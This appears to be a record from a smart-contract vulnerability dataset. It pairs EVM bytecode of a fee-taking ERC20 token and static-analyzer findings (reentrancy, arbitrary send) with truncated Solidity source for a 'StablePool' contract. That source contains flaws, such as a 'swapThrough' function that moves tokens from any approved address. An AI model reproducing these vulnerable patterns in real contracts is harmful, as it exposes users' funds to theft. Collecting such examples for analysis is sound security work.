f1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906132ef565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cac30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061109b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf257600080fd5b505afa158015610d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2a9190612ce0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc49190612ce0565b6040518363ffffffff1660e01b8152600401610de192919061313f565b602060405180830381600087803b158015610dfb57600080fd5b505af1158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e339190612ce0565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebc3061064c565b600080610ec76107f0565b426040518863ffffffff1660e01b8152600401610ee996959493929190613191565b6060604051808303818588803b158015610f0257600080fd5b505af1158015610f16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3b9190612e4b565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161103d929190613168565b602060405180830381600087803b15801561105757600080fd5b505af115801561106b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108f9190612df9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111029061334f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111729061326f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611259919061338f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd9061332f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d9061322f565b60405180910390fd5b60008111611389576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113809061330f565b60405180910390fd5b6113916107f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113ff57506113cf6107f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7357601260189054906101000a900460ff1615611632573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114db5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115355750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163157601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157b611093565b73ffffffffffffffffffffffffffffffffffffffff1614806115f15750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115d9611093565b73ffffffffffffffffffffffffffffffffffffffff16145b611630576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116279061336f565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116df57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f85750601260189054906101000a900460ff165b156118d157601260149054906101000a900460ff1661181657600080fd5b60135481111561182557600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187057600080fd5b601e4261187d9190613474565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118dc3061064c565b9050601260169054906101000a900460ff161580156119495750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750601260179054906101000a900460ff165b15611f71576119b760646119a9600361199b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064c565b6124fd90919063ffffffff16565b61257890919063ffffffff16565b82111580156119c857506013548211155b6119d157600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1c57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6b9190613474565b1015611ab7576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bee57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b4f90613623565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba69190613474565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f06565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8690613623565b9190505550611c2042611c999190613474565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f05565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7990613623565b919050555061546042611d8c9190613474565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f04565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0357600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6c90613623565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebf9190613474565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f0f81612203565b60004790506000811115611f2757611f264761209a565b5b611f6f600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c2565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202457600090505b612030848484846125eb565b50505050565b600083831115829061207e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612075919061320d565b60405180910390fd5b506000838561208d9190613555565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ea60028461257890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612115573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216660028461257890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612191573d6000803e3d6000fd5b5050565b60006006548211156121dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d39061324f565b60405180910390fd5b60006121e661262a565b90506121fb818461257890919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612261577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561228f5781602001602082028036833780820191505090505b50905030816000815181106122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561236f57600080fd5b505afa158015612383573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123a79190612ce0565b816001815181106123e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244830601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109b565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124ac9594939291906133aa565b600060405180830381600087803b1580156124c657600080fd5b505af11580156124da573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125105760009050612572565b6000828461251e91906134fb565b905082848261252d91906134ca565b1461256d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612564906132cf565b60405180910390fd5b809150505b92915050565b60006125ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612655565b905092915050565b806008546125d091906134fb565b60088190555060018111156125e857600a6009819055505b50565b806125f9576125f86126b8565b5b6126048484846126e9565b8061261257612611612618565b5b50505050565b60076008819055506005600981905550565b60008060006126376128b4565b9150915061264e818361257890919063ffffffff16565b9250505090565b6000808311829061269c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612693919061320d565b60405180910390fd5b50600083856126ab91906134ca565b9050809150509392505050565b60006008541480156126cc57506000600954145b156126d6576126e7565b600060088190555060006009819055505b565b6000806000806000806126fb87612913565b95509550955095509550955061275986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461297b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ee85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283a81612a23565b6128448483612ae0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a1919061338f565b60405180910390a3505050505050505050565b600080600060065490506000670de0b6b3a764000090506128e8670de0b6b3a764000060065461257890919063ffffffff16565b82101561290657600654670de0b6b3a764000093509350505061290f565b81819350935050505b9091565b60008060008060008060008060006129308a600854600954612b1a565b925092509250600061294061262a565b905060008060006129538e878787612bb0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612036565b905092915050565b60008082846129d49190613474565b905083811015612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a109061328f565b60405180910390fd5b8091505092915050565b6000612a2d61262a565b90506000612a4482846124fd90919063ffffffff16565b9050612a9881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612af58260065461297b90919063ffffffff16565b600681905550612b10816007546129c590919063ffffffff16565b6007819055505050565b600080600080612b466064612b38888a6124fd90919063ffffffff16565b61257890919063ffffffff16565b90506000612b706064612b62888b6124fd90919063ffffffff16565b61257890919063ffffffff16565b90506000612b9982612b8b858c61297b90919063ffffffff16565b61297b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bc985896124fd90919063ffffffff16565b90506000612be086896124fd90919063ffffffff16565b90506000612bf787896124fd90919063ffffffff16565b90506000612c2082612c12858761297b90919063ffffffff16565b61297b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c48816139a8565b92915050565b600081519050612c5d816139a8565b92915050565b600081359050612c72816139bf565b92915050565b600081519050612c87816139bf565b92915050565b600081359050612c9c816139d6565b92915050565b600081519050612cb1816139d6565b92915050565b600060208284031215612cc957600080fd5b6000612cd784828501612c39565b91505092915050565b600060208284031215612cf257600080fd5b6000612d0084828501612c4e565b91505092915050565b60008060408385031215612d1c57600080fd5b6000612d2a85828601612c39565b9250506020612d3b85828601612c39565b9150509250929050565b600080600060608486031215612d5a57600080fd5b6000612d6886828701612c39565b9350506020612d7986828701612c39565b9250506040612d8a86828701612c8d565b9150509250925092565b60008060408385031215612da757600080fd5b6000612db585828601612c39565b9250506020612dc685828601612c8d565b9150509250929050565b600060208284031215612de257600080fd5b6000612df084828501612c63565b91505092915050565b600060208284031215612e0b57600080fd5b6000612e1984828501612c78565b91505092915050565b600060208284031215612e3457600080fd5b6000612e4284828501612c8d565b91505092915050565b600080600060608486031215612e6057600080fd5b6000612e6e86828701612ca2565b9350506020612e7f86828701612ca2565b9250506040612e9086828701612ca2565b9150509250925092565b6000612ea68383612eb2565b60208301905092915050565b612ebb81613589565b82525050565b612eca81613589565b82525050565b6000612edb8261342f565b612ee58185613452565b9350612ef08361341f565b8060005b83811015612f21578151612f088882612e9a565b9750612f1383613445565b925050600181019050612ef4565b5085935050505092915050565b612f378161359b565b82525050565b612f46816135de565b82525050565b6000612f578261343a565b612f618185613463565b9350612f718185602086016135f0565b612f7a816136ca565b840191505092915050565b6000612f92602383613463565b9150612f9d826136db565b604082019050919050565b6000612fb5602a83613463565b9150612fc08261372a565b604082019050919050565b6000612fd8602283613463565b9150612fe382613779565b604082019050919050565b6000612ffb601b83613463565b9150613006826137c8565b602082019050919050565b600061301e601d83613463565b9150613029826137f1565b602082019050919050565b6000613041602183613463565b915061304c8261381a565b604082019050919050565b6000613064602083613463565b915061306f82613869565b602082019050919050565b6000613087602983613463565b915061309282613892565b604082019050919050565b60006130aa602583613463565b91506130b5826138e1565b604082019050919050565b60006130cd602483613463565b91506130d882613930565b604082019050919050565b60006130f0601183613463565b91506130fb8261397f565b602082019050919050565b61310f816135c7565b82525050565b61311e816135d1565b82525050565b60006020820190506131396000830184612ec1565b92915050565b60006040820190506131546000830185612ec1565b6131616020830184612ec1565b9392505050565b600060408201905061317d6000830185612ec1565b61318a6020830184613106565b9392505050565b600060c0820190506131a66000830189612ec1565b6131b36020830188613106565b6131c06040830187612f3d565b6131cd6060830186612f3d565b6131da6080830185612ec1565b6131e760a0830184613106565b979650505050505050565b60006020820190506132076000830184612f2e565b92915050565b600060208201905081810360008301526132278184612f4c565b905092915050565b6000602082019050818103600083015261324881612f85565b9050919050565b6000602082019050818103600083015261326881612fa8565b9050919050565b6000602082019050818103600083015261328881612fcb565b9050919050565b600060208201905081810360008301526132a881612fee565b9050919050565b600060208201905081810360008301526132c881613011565b9050919050565b600060208201905081810360008301526132e881613034565b9050919050565b6000602082019050818103600083015261330881613057565b9050919050565b600060208201905081810360008301526133288161307a565b9050919050565b600060208201905081810360008301526133488161309d565b9050919050565b60006020820190508181036000830152613368816130c0565b9050919050565b60006020820190508181036000830152613388816130e3565b9050919050565b60006020820190506133a46000830184613106565b92915050565b600060a0820190506133bf6000830188613106565b6133cc6020830187612f3d565b81810360408301526133de8186612ed0565b90506133ed6060830185612ec1565b6133fa6080830184613106565b9695505050505050565b60006020820190506134196000830184613115565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061347f826135c7565b915061348a836135c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134bf576134be61366c565b5b828201905092915050565b60006134d5826135c7565b91506134e0836135c7565b9250826134f0576134ef61369b565b5b828204905092915050565b6000613506826135c7565b9150613511836135c7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354a5761354961366c565b5b828202905092915050565b6000613560826135c7565b915061356b836135c7565b92508282101561357e5761357d61366c565b5b828203905092915050565b6000613594826135a7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135e9826135c7565b9050919050565b60005b8381101561360e5780820151818401526020810190506135f3565b8381111561361d576000848401525b50505050565b600061362e826135c7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136615761366061366c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b181613589565b81146139bc57600080fd5b50565b6139c88161359b565b81146139d357600080fd5b50565b6139df816135c7565b81146139ea57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203abe0dd2b3c2c19457f5d8d30f997109b0c861208a0b5fcedd4e32e180cb85ad64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,342 |
0xad9c140da4f0111dcf08ac1fc284aa3c7a43e3b1
|
/**
*Submitted for verification at Etherscan.io on 2021-09-27
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
pragma abicoder v2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint( address to, uint amount ) external;
function burn( address from, uint amount ) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StablePool {
using SafeMath for uint;
using SafeERC20 for IERC20;
/* ========== STRUCTS ========== */
struct PoolToken {
uint lowAP; // 5 decimals
uint highAP; // 5 decimals
bool accepting; // can send in (swap or add)
bool pushed; // pushed to poolTokens
}
struct Fee {
uint fee;
uint collected;
address collector;
}
/* ========== STATE VARIABLES ========== */
IERC20 public immutable shareToken; // represents 1 token in the pool
address[] public poolTokens; // tokens in pool
mapping( address => PoolToken ) public tokenInfo; // info for tokens in pool
uint public totalTokens; // total tokens in pool
Fee public fees;
/* ========== CONSTRUCTOR ========== */
constructor( address token ) {
require( token != address(0) );
shareToken = IERC20( token );
}
/* ========== EXCHANGE FUNCTIONS ========== */
// swap tokens and send outbound token to sender
function swap( address firstToken, uint amount, address secondToken ) external {
IERC20( firstToken ).safeTransferFrom( msg.sender, address(this), amount );
IERC20( secondToken ).safeTransfer( msg.sender, _swap( firstToken, amount, secondToken ) );
}
// swap tokens, specifying sender and receiver
// used by router for chain swaps
function swapThrough(
address from,
address to,
address firstToken,
uint amount,
address secondToken
) external returns ( uint amount_ ) {
IERC20( firstToken ).safeTransferFrom( from, address(this), amount );
amount_ = _swap( firstToken, amount, secondToken );
IERC20( secondToken ).approve( to, amount_ );
}
// add token to pool as liquidity, returning share token
// rejects if token added will exit bounds
function add( address token, uint amount ) external {
totalTokens = totalTokens.add( amount ); // add amount to pool
require( amount <= maxCanAdd( token ), "Exceeds limit in" );
IERC20( token ).safeTransferFrom( msg.sender, address(this), amount ); // send token added
shareToken.mint( msg.sender, amount ); // mint pool token
}
// remove token from liquidity, burning share token
// rejects if token removed will exit bounds
function remove( address token, uint amount ) external {
shareToken.burn( msg.sender, amount ); // burn pool token
uint fee = amount.mul( fees.fee ).div( 1e4 ); // trading fee collected
require( amount.sub( fee ) <= maxCanRemove( token ), "Exceeds limit out" );
